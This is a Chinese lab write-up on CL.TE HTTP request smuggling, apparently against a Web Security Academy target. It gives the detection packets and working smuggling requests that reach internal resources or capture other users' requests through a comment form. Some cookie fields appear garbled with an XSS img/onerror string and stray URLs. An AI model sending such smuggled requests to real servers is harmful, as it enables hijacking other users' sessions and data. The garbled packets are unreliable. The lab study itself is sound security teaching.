HTTP request smuggling CL.TE

前端通过Content-Length处理请求，通过反向代理或者负载均衡将请求转发到后端，后端Transfer-Encoding优先级较高，以TE处理请求造成安全问题。

检测

发送如下数据包

POST / HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session= Content-Length: 6 Transfer-Encoding: chunked 0 P

CT长度为8，前端将body全发给后端，后端看到TE后读取到0\r\n\r\n后标志结束，P被留在缓冲区，等待下一次被请求。当再次请求下面的数据包

GET / HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=<img src=http://www.likecs.com/1 onerror=alert(1)>

P拼接到了下次请求变成

PGET / HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=<img src=http://www.likecs.com/1 onerror=alert(1)>

利用

1、由于在第二个包中可以加入HOST，我们可以通过添加HOST达到访问内部资源的目的。
2、劫持其他用户请求。找到一个类似评论，留言板的功能。

POST / HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session= Content-Length: 1031 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close Content-Length: 613 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://ac391f7e1e9af821806e890300db00d6.web-security-academy.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ac391f7e1e9af821806e890300db00d6.web-security-academy.net/post?postId=3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=http://www.likecs.com/1ikPLa6JOFOQBjoPp80gPhMC6uFFyiIa csrf=m7WAHCgqovsgoj1rpIpRQXcANljAHsR8&postId=3&name=asf&email=asf%40qq.com&website=http%3A%2F%2Fbaidu.com%2Fa&comment=xxxx

注意CL一定要设置成正好将下一个数据包拼接过来的长度。等待其他用户访问网站时，比如下一个用户的数据包是下面这样。

GET / HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=<img src=http://www.likecs.com/1 onerror=alert(1)>

拼接后

POST / HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session= Content-Length: 1031 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close Content-Length: 613 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://ac391f7e1e9af821806e890300db00d6.web-security-academy.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ac391f7e1e9af821806e890300db00d6.web-security-academy.net/post?postId=3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=http://www.likecs.com/1ikPLa6JOFOQBjoPp80gPhMC6uFFyiIa csrf=m7WAHCgqovsgoj1rpIpRQXcANljAHsR8&postId=3&name=asf&email=asf%40qq.com&website=http%3A%2F%2Fbaidu.com%2Fa&comment=xxxxGET / HTTP/1.1 Host: ac391f7e1e9af821806e890300db00d6.web-security-academy.net Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=<img src=http://www.likecs.com/1 onerror=alert(1)>